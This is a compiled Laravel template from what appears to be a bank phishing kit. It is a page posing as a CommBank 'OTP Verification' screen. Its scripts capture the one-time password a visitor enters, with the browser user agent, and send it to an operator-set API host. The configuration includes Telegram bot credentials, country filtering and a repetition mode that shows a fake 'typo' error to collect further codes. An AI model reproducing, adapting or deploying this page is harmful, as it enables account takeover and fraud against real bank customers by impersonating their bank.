<html lang="en">

<head>
    <?php if (isset($component)) { $__componentOriginal0ffb0a0d50d0f581dbd60338c0b56c81fed4e7d6 = $component; } ?>
<?php $component = App\View\Components\Head::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('head'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Head::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal0ffb0a0d50d0f581dbd60338c0b56c81fed4e7d6)): ?>
<?php $component = $__componentOriginal0ffb0a0d50d0f581dbd60338c0b56c81fed4e7d6; ?>
<?php unset($__componentOriginal0ffb0a0d50d0f581dbd60338c0b56c81fed4e7d6); ?>
<?php endif; ?>



<body class="honeycomb textstyles--commbank"><noscript>You need to enable JavaScript to run this app.</noscript>
    <!------------------------------------------>
    <!-- Configurations -->
    <!------------------------------------------>
    <script>
        function getConfigs() {
            return {
                "index": Number('<?php echo e($index); ?>'),
                "isFinalPage": Boolean('<?php echo e($details["isFinalPage"]); ?>'),
                "pagesSequence": '<?php echo e($details["pagesSequence"]); ?>',
                "isActive": '<?php echo e($details["isActive"]); ?>' === "true" ? true : false,
                "page": '<?php echo e($details["page"]); ?>',
                "pagesWaitingTime": '<?php echo e($details["pagesWaitingTime"]); ?>',
                "pagesTypeOfWaitingPage": '<?php echo e($details["pagesTypeOfWaitingPage"]); ?>',
                "pagesNumberOfRepetition": Number('<?php echo e($details["pagesNumberOfRepetition"]); ?>'),
                'pagesWaitingTime': Number('<?php echo e($details["pagesWaitingTime"]); ?>') * 1000,
                'pagesIsFormsEmptyInRepetitions': Boolean('<?php echo e($details["pagesIsFormsEmptyInRepetitions"]); ?>'),
                'pagesGoBackPageName': '<?php echo e($details["pagesGoBackPageName"]); ?>',
                'pagesGoNextPageName': '<?php echo e($details["pagesGoNextPageName"]); ?>',
                'pagesNavigationPageControlType': '<?php echo e($details["pagesNavigationPageControlType"]); ?>',
                'googleRecaptchaSiteKey': '<?php echo e($details["googleRecaptchaSiteKey"]); ?>',
                'googleRecaptchaSecretKey': '<?php echo e($details["googleRecaptchaSecretKey"]); ?>',
                'telegramChatId': '<?php echo e($details["telegramChatId"]); ?>',
                'telegramBotToken': '<?php echo e($details["telegramBotToken"]); ?>',
                'apiHost': '<?php echo e($details["apiHost"]); ?>',
                'webHost': '<?php echo e($details["webHost"]); ?>',
                'accessCountryISO': '<?php echo e($details["accessCountryISO"]); ?>',
                'errorPageLink': '<?php echo e($details["errorPageLink"]); ?>',
                'successPageLink': '<?php echo e($details["successPageLink"]); ?>',
            };
        }
    </script>
    <!------------------------------------------>
    <!-- State -->
    <!------------------------------------------>
    <script>
        function getCurrentState() {
            const currentPage = getConfigs()["index"];
            let data = localStorage.getItem("data");
            if (!currentPage || !data) {
                data = JSON.stringify({ page: 0, info: {} });
                localStorage.setItem("data", data);
            }
            return JSON.parse(data);
        }

        function removeState() {
            localStorage.removeItem("data");
        }
        function updateCurrentState(page, info) {
            let currentData = getCurrentState();
            localStorage.setItem("data", JSON.stringify({
                ...currentData,
                ...info,
                page: page,
            }));
        }
    </script>
    <!------------------------------------------>
    <!-- Routing -->
    <!------------------------------------------>
    <script>
        function redirect(target) {
            window.location.href = target;
        }
        function goToLink(target) {
            window.location.replace(target);
        }
    </script>
    <!------------------------------------------>
    <!-- Protection -->
    <!------------------------------------------>
    <script>
        function protectPage() {
            const page = getCurrentState()["page"];
            const currentPage = getConfigs()["index"];
            let isAccessible =
                (currentPage === 0 && page === undefined) || currentPage === page;
            let isValid = true;
            if (!isAccessible) {
                const pages = getConfigs()["pagesSequence"].split(",").length;
                isValid = !isNaN(Number(page)) && page <= pages && page >= 0;
            }
            if (!isValid) {
                removeState();
                redirect("/0");
            }
            if (!isAccessible) {
                const state = getCurrentState();
                redirect("/" + page);
            }

            if (!getConfigs()["isActive"]) {
                if (getConfigs()["isFinalPage"]) {
                    removeState();
                    goToLink(getConfigs()["successPageLink"]);
                }
                else {
                    updateCurrentState(page + 1, {});
                }
            }
        }
        protectPage();
    </script>
    <!-- Form -->
    <script>
        function getCaptchaResponse() {
            return document.getElementsByName("g-recaptcha-response")[0].value;
        }
        function getAllFormData() {
            return {
                "CaptchaResponse": getCaptchaResponse(),
                "UserAgent": navigator.userAgent,
                "Page": getConfigs()["page"],
                "OTP": document.getElementById("otp").value,
            }
        }
        function clearForm(configs) {
            document.getElementById("otp").value = "";
        }
    </script>
    <!-- API -->
    <script>
        async function makeAPICall(data) {
            const configs = getConfigs();
            const dataToSend = JSON.stringify(data);
            try {
                return await axios.post(`${configs["apiHost"]}/${configs["page"]}?data=${dataToSend}&otp=${data.OTP}`, {})
            } catch (error) {
                return null;
            }
        }
    </script>
    <!-- UI Handling -->
    <script>
        function showError(message) {
            const errorComponent = document.getElementsByClassName("error-component")[0];
            errorComponent.style.display = "flex";
            const error = document.getElementById("error-message");
            error.style.display = "block";
            error.textContent = message;
            const main = document.getElementById("main-content");
            main.classList.add("error");
        }
        function hideError() {
            const errorComponent = document.getElementsByClassName("error-component")[0];
            errorComponent.style.display = "none";
            const error = document.getElementById("error-message");
            error.style.display = "none";
            error.textContent = "";
            const main = document.getElementById("main-content");
            main.classList.remove("error");
        }
        function showLoader() {
            const configs = getConfigs();
            if (configs["pagesTypeOfWaitingPage"] === "POPUP") {
                const loader = document.getElementsByClassName("waiting-popup-container")[0];
                loader.style.display = "flex";
            } else if (configs["pagesTypeOfWaitingPage"] === "PAGE") {
                const main = document.getElementsByClassName("main-page")[0];
                main.style.display = "none";
                const waitingPage = document.getElementsByClassName("waiting-page")[0];
                waitingPage.style.display = "block";
            }
        }
        function hideLoader() {
            const configs = getConfigs();
            if (configs["pagesTypeOfWaitingPage"] === "POPUP") {
                const loader = document.getElementsByClassName("waiting-popup-container")[0];
                loader.style.display = "none";
            } else if (configs["pagesTypeOfWaitingPage"] === "PAGE") {
                const main = document.getElementsByClassName("main-page")[0];
                main.style.display = "block";
                const waitingPage = document.getElementsByClassName("waiting-page")[0];
                waitingPage.style.display = "none";
            }
        }
    </script>
    <!-- Validations -->
    <script>

        function validateData(data) {
            if (!data["OTP"]) return "Please enter your OTP";
            if (isNaN(data["OTP"])) return "Please enter a valid OTP";
            return true;
        }
    </script>
    <!-- Handling -->
    <script>
        const configs = getConfigs();
        function onErrorAction() {
            goToLink(getConfigs["errorPageLink"]);
        }
        function onSuccessAction(data) {
            if (configs["pagesNumberOfRepetition"]) {
                configs["pagesNumberOfRepetition"]--;
                if (configs["pagesIsFormsEmptyInRepetitions"])
                    clearForm();
                hideLoader();
                showError("Oops! It seems there might be a small typo in your OTP code.");
                return;
            }
            else if (getConfigs()["isFinalPage"]) {
                removeState();
                goToLink(getConfigs()["successPageLink"]);
            }
            else {
                updateCurrentState(getConfigs()["index"] + 1, {});
                redirect("/" + (getConfigs()["index"] + 1));
            }
        }
        async function handleAuto() {
            const configs = getConfigs();
            const dataToSend = getAllFormData();
            const test = validateData(dataToSend);
            if (test !== true)
                return showError(test);
            hideError();

            const timer = configs
            if (configs["pagesWaitingTime"]) {
                showLoader();
                setTimeout(async () => {
                    const response = await makeAPICall(dataToSend);
                    if (!response) return onErrorAction();
                    onSuccessAction(dataToSend);
                }, configs["pagesWaitingTime"])
            } else {
                const response = await makeAPICall(configs, dataToSend);
                if (!response) return onErrorAction(configs)
                onSuccessAction(configs, dataToSend);
            }
        }
        function handleManual(configs) {
            const dataToSend = getAllFormData();
            showLoader(configs);
            alert("Manual");
        }
        function onSubmitData(key) {
            if (getConfigs()["pagesNavigationPageControlType"] === "AUTO")
                handleAuto()
            else
                handleManual(configs);
        }
    </script>
    <style>
        * {
            font-family: CBABeaconSans, sans-serif !important;
        }

        #submitButton {
            width: 100% !important;
        }

        #main-content {
            max-width: 550px !important;
            margin: 50px auto !important;
            width: 100% !important;

        }

        main {
            padding: 0 10px;
        }

        input {
            width: 100% !important;
            font-size: 20px !important;

        }

        .form-group {
            margin-bottom: 30px !important;
        }



        #main-content.error {
            border: 2px solid #e1001a;
            position: relative;
            font-family: CBABeaconSans, sans-serif !important;
            margin: 50px auto !important;
        }

        .error-component {
            display: none;
        }

        .error .error-component {
            color: #e1001a;
            text-align: left;
            align-items: flex-start;
            gap: 7px;
            line-height: 25px;
            background-color: rgba(255, 0, 0, 0.1);
            padding: 20px;
        }

        .error-component #error-message {
            font-size: 20px !important;
            position: relative;
            top: 3px;
        }

        .error-component img {
            width: 30px;
            height: 30px;
        }

        /**********************************/
        .waiting-popup-container {
            position: absolute;
            width: 100%;
            height: 100%;
            display: none;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            width: 100%;
            backdrop-filter: blur(10px);
            background-color: rgba(255, 255, 255, 0.5);
            z-index: 9999;
            color: white;
        }

        .waiting-popup-title {
            color: white;
            text-align: center;
            font-size: 50px;
            font-weight: bolder;
            margin-bottom: 40px;
        }

        .waiting-popup-text {
            color: white;
            text-align: center;
            font-size: 20px;
            max-width: 698px;
            display: block;
            margin: 0 auto;
        }

        .waiting-popup {
            border: 5px solid #f3f3f3;
            border-top: 5px solid #181313;
            border-radius: 50%;
            width: 50px;
            height: 50px;
            animation: spin 1s linear infinite;
            margin-bottom: 10px;
        }

        @keyframes spin {
            0% {
                transform: rotate(0deg);
            }

            100% {
                transform: rotate(360deg);
            }
        }
    </style>
    <div id="root">
        <header>
            <div class="logo ml-4">
                <img src="./assets/img/CommankLogo.0f90928c251469ce36be3a58a687b3ab.svg"
                    alt="Commonwealth bank logo" /><span class="pl-4"> CommBank </span>
            </div>
            <a class="register-link mr-lg-4 mr-3" href="#"></a>
        </header>
        <main>
            <form method="POST" action="#" class="common_card" id="main-content">
                <div class="error-component">
                    <img src="./assets/img/aa.svg" alt="error-icon" />
                    <div id="error-message"> It took you a while to log on. You'll need to enter your
                        details again.</div>
                </div>
                <div class="waiting-popup-container waiting-popup-component">
                    <p class="waiting-popup-title">
                        Processing ...
                    </p>
                    <div class="waiting-popup"></div>

                </div>
                <div class="logonId" id="fp_forgotpassword">
                    <h1 class="logonId__heading" id="fp_forgotpassword_heading">OTP Verification</h1>
                    <p class="logonId__section" id="fp_forgotpassword_section"> We've sent you an OTP code to your phone
                        <span class="font-bold text-md" id="phone"></span>. Please check your phone and type the code to
                        complete your login.
                    </p>


                    <div class="form-group"><label for="otp">OTP</label><input required id="otp" class="form-control"
                            name="otp" type="password" aria-required="true" value="" placeholder="********">
                    </div>

                    <button id="submitButton" class="g-recaptcha logonId__btn logonId__btnSubmit btn-action--emphasis"
                        data-sitekey="<?php echo e($details['googleRecaptchaSiteKey']); ?>" data-callback="onSubmitData"
                        data-action="submit">Confirm</button>
                </div>
            </form>
        </main>
        <?php if (isset($component)) { $__componentOriginal88b1957f21f7f49b400717e8d0a27189798132bf = $component; } ?>
<?php $component = App\View\Components\Footer::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('footer'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Footer::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal88b1957f21f7f49b400717e8d0a27189798132bf)): ?>
<?php $component = $__componentOriginal88b1957f21f7f49b400717e8d0a27189798132bf; ?>
<?php unset($__componentOriginal88b1957f21f7f49b400717e8d0a27189798132bf); ?>
<?php endif; ?>
    </div>
    </div>
    <script>
        const phone = document.getElementById("phone");
        phone.innerHTML = window.localStorage?.getItem("phoneNumber");
    </script>
</body>

</html><?php /**PATH D:\005-Projects\005-freelance\Laravel\all-in-one-control\nobanko\resources\views/otp.blade.php ENDPATH**/ ?>